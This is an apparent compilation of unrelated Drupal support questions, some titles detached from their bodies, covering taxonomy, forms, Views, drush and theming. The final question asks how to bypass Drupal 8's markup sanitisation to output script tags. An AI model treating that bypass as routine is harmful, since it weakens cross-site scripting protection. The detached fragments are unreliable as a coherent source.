I've looked through all the modules in the "Rules" category on drupal.org and I've looked at all the available rule conditions in the rules UI but I haven't found anything useful so far.


texts:
I'm working with Drupal 8 Taxonomy terms. I'm managing them in the backend through the default taxonomy pages.

I'm doing this for a project where I need to label rows in a custom added table.

This all worked pretty fine until suddenly, just out of nowhere, the terms disappeared. I added terms, and when I returned to the list page of the specific taxonomy library, they where gone. They were still in the database, and \Drupal\taxonomy\Entity\Term::loadMultiple() still returns them.

I've done a lot of digging, but I'm out of ideas. I need some pointers to continue my search.


texts: Printing PHP variable in form element in buildForm function

texts:
I have a php variable like this

$opensslOut = preg_replace('/\n\r{0,1}/', '<br>', $str);

I need to print its value on a form element. I used the following code

$form['openssl'] = [
      '#title' => t('OpenSSL'),
      '#markup' => t('$opensslOut'),
    ];

But didn't worked? I am a newbie in Drupal, Please help me to figure out a solution.


texts: JPG user photos not displaying in Drupal 7

texts:
In D7, when I upload a photo to a user profile page, the image displays if the original extension was a *.png file, but not if it was a *.jpg file. Uploading the files places them in sites/example.org/files/pictures, which indicates that the permissions are correct. But jpg files don't diplay on users' profile or forum posts. Instead the words "username picture" is displayed.

In admin/config/people/accounts, enable user pictures is enabled. However, I did not add a existing image field in admin/config/people/accounts/fields.

Basic page, articles and forum has an image field (field_image), with allowed extensions png, gif, jpg, jpeg.


texts:
I'm using a new host for my website and I requested drush access to my site. They said it's all set and told me to run drush commands as such $ ../drush/drush command

I test it out with $ ../drush/drush status and everything works as it should.

The problem comes when I try to run drush commands remotely via my alias file. Everytime time I drush @remote I get drush: not found

I even set path-aliases to point specifically at %drush and %drush-script.

Is there something I'm missing?


texts: View with multiple node arguments using an entity reference

texts:
We have a node type called: MEETING
On Meeting we have a user entity reference called: PARTICIPANTS
I create several MEETING's and reference 2 users: USER1 AND USER2
Now I want to build a dynamic view we can use URL arguments in contextual filters to show all meetings with USER1 and USER2
I create a view called VIEWMEETINGS
I set PARTICIPANTS field as the contextual filter and check "Allow multiple values"
view path settings are  MYSITE/VIEWPARTICIPANTS/%
If I go to MYSITE/VIEWPARTICIPANTS/USER1 OR MYSITE/VIEWPARTICIPANTS/USER2 the view loads all MEETINGS where that user is referenced
The problem is when I go to MYSITE/VIEWPARTICIPANTS/USER1,USER2 it does not load?
How can I create a view that will show me all MEETINGS where both USER1 and USER2 are referenced?
I want both of these views to show the same results
MYSITE/VIEWPARTICIPANTS/USER1,USER2
MYSITE/VIEWPARTICIPANTS/USER2,USER1


texts: How to select quarters in a date field not the actual date?

texts:
Is there any way that I can select quarters in a date field not the actual date. I want the date field exactly like in the below image.

I have checked for the options in the date field but I didn't find any such option?

Or is there any other module which provides the same functionality?


texts: Deleting the "Page title" module in an existing site that needs some module-removal (Will damage SEO?)

texts:
A drupal 7 site owner asked me to clean all unnecessary modules in her site. After I've successfully updated all modules and DB, I went to start delete some modules.

I've deleted unused modules until I came across Page title, the well known module from the Drupal 6 era, which it's functionality now a part of the Metatag module. I wonder if deleting it will destroy the page titles that have already been added to the site's nodes... What is the technical truth?


texts: Drupal7 REST Basic Authentication not working (Postman)

texts:
I configured my rest with services and installed the Basic authentication module.

I used Postman and selected basic authentication gave username and password, I got "Missing required argument username"

An important note is that If I change it to "no Auth" and send my username and password as JSON object it's authenticating, can someone help me? Thanks.


texts: Permission creating taxonomy terms per vocabulary

texts:
Is there a module that will allow me to allow a specific role to create/edit/delete terms in a specific vocabulary without allowing them to edit the taxonomy itself or terms on another vocabulary?

The only taxonomy permission I see is "administer taxonomy", which is decidedly more than I want to give those users.  My google-fu turned up numerous modules that will permission the nodes by terms, but none that allow permissioning of the vocabulary itself.

thanks!


texts: how to display sales volume for a product or a product variation in drupal commerce?

texts:
I need to display number of sales for a product or a product variation in product list. But I cannot find a decent way to go.
Can I count order numbers for a product or a product variation with their relation? How should I do?
I looked this thread Drupal Commerce: Number of a sales per product, what he want is a view, but I need to display number of sales in product list.
I appreciate for any help or comments.


texts: Is it possible to use an Oracle database for Drupal 8?

texts:
We are evaluating Drupal 8, and one of our needs is to use Oracle as the main (and only) database.

Is it possible to use Oracle as the Drupal 8 database? Can be a problem with the external modules?

And another question: The database access layer in Drupal 8 is Doctrine, or module developers can use hand-written queries (so, MySQL dependant queries)?


texts: How do I completely disable user profiles and the dedicated login page in Drupal 7?

texts:
I am building a site in which user accounts matter only to provide the authenticated / not authenticated information. I created a custom login block that is always displayed (in the header of the website). I want to reach the following two points:

Since user profiles are not needed, I want to disable them for usability reasons. The users should, after login, be redirected to the landing page of my website.
Also, I want to disable the dedicated login page that appears, i.e., upon entering the wrong password.

Is there any easy way to do these things?


texts: Remove CDATA script from the page source


texts: Entity Reference Filter: Filter users by role

texts:
I want to attach managers to site customers. I made Entity Reference "user-to-user" and now I want to select users only with role "Managers".

How can I make such filter?


texts: Need to insert a custom node edit link in the node template

texts:
I've removed the tabs 'view and edit' from the node content type display.
I need to provide a custom link to edit the particular node based on user permissions.
I've used node/%/edit in node tpl but it does'n't work. Can someone help me with the proper method to achieve this


texts:
I'm creating a Block Plugin with a form. I'm able to create the standard form with various input field types. Like so.

    $form['text_field_1'] = array(
        '#type'          => 'textfield',
        '#title'         => $this->t('Entry 1'),
        '#default_value' => $this->configuration['text_field_1_submit'],
        '#size'          => 60,
        '#maxlength'     => 10,
    );

    $form['text_field_2'] = array(
        '#type'          => 'textfield',
        '#title'         => $this->t('Entry 2'),
        '#default_value' => $this->configuration['text_field_2_submit'],
        '#size'          => 60,
        '#maxlength'     => 10,
    );

This works but I can't anticipate how many entries the user may need, so I'd like users to be able to add multiple field entries in the same way that you can in a content type field.

Is this possible?


texts: How to add a region block to the custom template contact form page?

texts:
I trying to add a region block to custom template Contact Form page: "contact-message-feedback-form.html.twig"

Define a region (like: contact_info) to theme-name.info.yml and
add {{ page.contact_info }} in contact-message-feedback-form.html.twig

Contact form rendered successful but when add block to the region not display block in this region.

theme-name.theme:

/**
 * Implements hook_theme().
 */
function crown_ui_theme($existing, $type, $theme, $path) {
  return [
    'contact_message_feedback_form' => [
      'render element' => 'form',
    ]
  ];
}

theme-name.info.yml:

regions:
  contact_info: 'Contact Info'

contact-message-feedback-form.html.twig:

<div class="col-sm-3">
{{ page.contact_info }}
</div>


texts: How to create a form render element for a paragraphs field?

texts:
I have the following EntityForm and I want to add a entity_reference_revisions field for the paragraph entity with the allowed bundle type orga_structure.
I searched the web but haven't found a hint to resolve this.
$form['target'] is the element I tried, but it isn't rendered.
class AbsenceConfigForm extends EntityForm {

  public function form(array $form, FormStateInterface $form_state) {
    $form = parent::form($form, $form_state);

    $absence_config = $this->entity;
    $form['label'] = [
      '#type' => 'textfield',
      '#title' => $this->t('Label'),
      '#maxlength' => 255,
      '#default_value' => $absence_config->label(),
      '#description' => $this->t("Label for the Absence config."),
      '#required' => TRUE,
    ];

    $form['id'] = [
      '#type' => 'machine_name',
      '#default_value' => $absence_config->id(),
      '#machine_name' => [
        'exists' => '\Drupal\ks_absence\Entity\AbsenceConfig::load',
      ],
      '#disabled' => !$absence_config->isNew(),
    ];

    /* You will need additional form elements for your custom properties. */

    $form['target'] = [
      '#type' => 'entity_reference_revisions',
      '#handler' => 'default:paragraph',
      '#handler_settings' => [
        'target_type' => [
          'orga_structure',
        ],
      ],
    ];

    // $form['target'] = BaseFieldDefinition::create('entity_reference_revisions')
    //   ->setLabel(t('Skill'))
    //   ->setDescription(t('The ID of the skill'))
    //   ->setRevisionable(TRUE)
    //   ->setSetting('handler', 'default:paragraph')
    //   ->setSetting('handler_settings', ['target_bundles' => ['orga_structure' => 'orga_structure']])
    //   ->setSetting('handler_settings', ['negate' => 0])
    //   ->setTranslatable(TRUE)
    //   ->setDisplayOptions('form', [
    //     'type' => 'entity_reference_autocomplete',
    //     'weight' => 5,
    //     'settings' => [
    //       'match_operator' => 'CONTAINS',
    //       'size' => '60',
    //       'autocomplete_type' => 'tags',
    //       'placeholder' => '',
    //     ],
    //   ])
    //   ->setDisplayConfigurable('form', TRUE);

    return $form;
  }

  public function save(array $form, FormStateInterface $form_state) {
    $absence_config = $this->entity;
    $status = $absence_config->save();

    switch ($status) {
      case SAVED_NEW:
        $this->messenger()->addMessage($this->t('Created the %label Absence config.', [
          '%label' => $absence_config->label(),
        ]));
        break;

      default:
        $this->messenger()->addMessage($this->t('Saved the %label Absence config.', [
          '%label' => $absence_config->label(),
        ]));
    }
    $form_state->setRedirectUrl($absence_config->toUrl('collection'));
  }

}

Update:
I would like to achieve that the fields specified in the paragraph are rendered in this form.


texts:
Drupal seems to be removing all text prior to an underscore in my form. This is in the Form.php file of my module implementing Google CSE, so I cannot change the attribute name.

if (array_key_exists('search_broadness', $get_results) && $get_results['search_broadness'] == 'narrow') {
  $block .= 'data-as_sitesearch="' . $gcse_narrow_search_query . '"';
}
$form['search']['results'] = array(
  '#type' => 'item',
  '#markup' => $block,
  '#allowed_tags' => ['script', 'div'],
)

And this is the output, note that the data-as_sitesearch is shortened to sitesearch.

The Drupal Google CSE module does not have this feature, so I cannot use that. #markup in Drupal 7 worked to get around this, but not in Drupal 8. Is there a workaround to bypass this sanitation?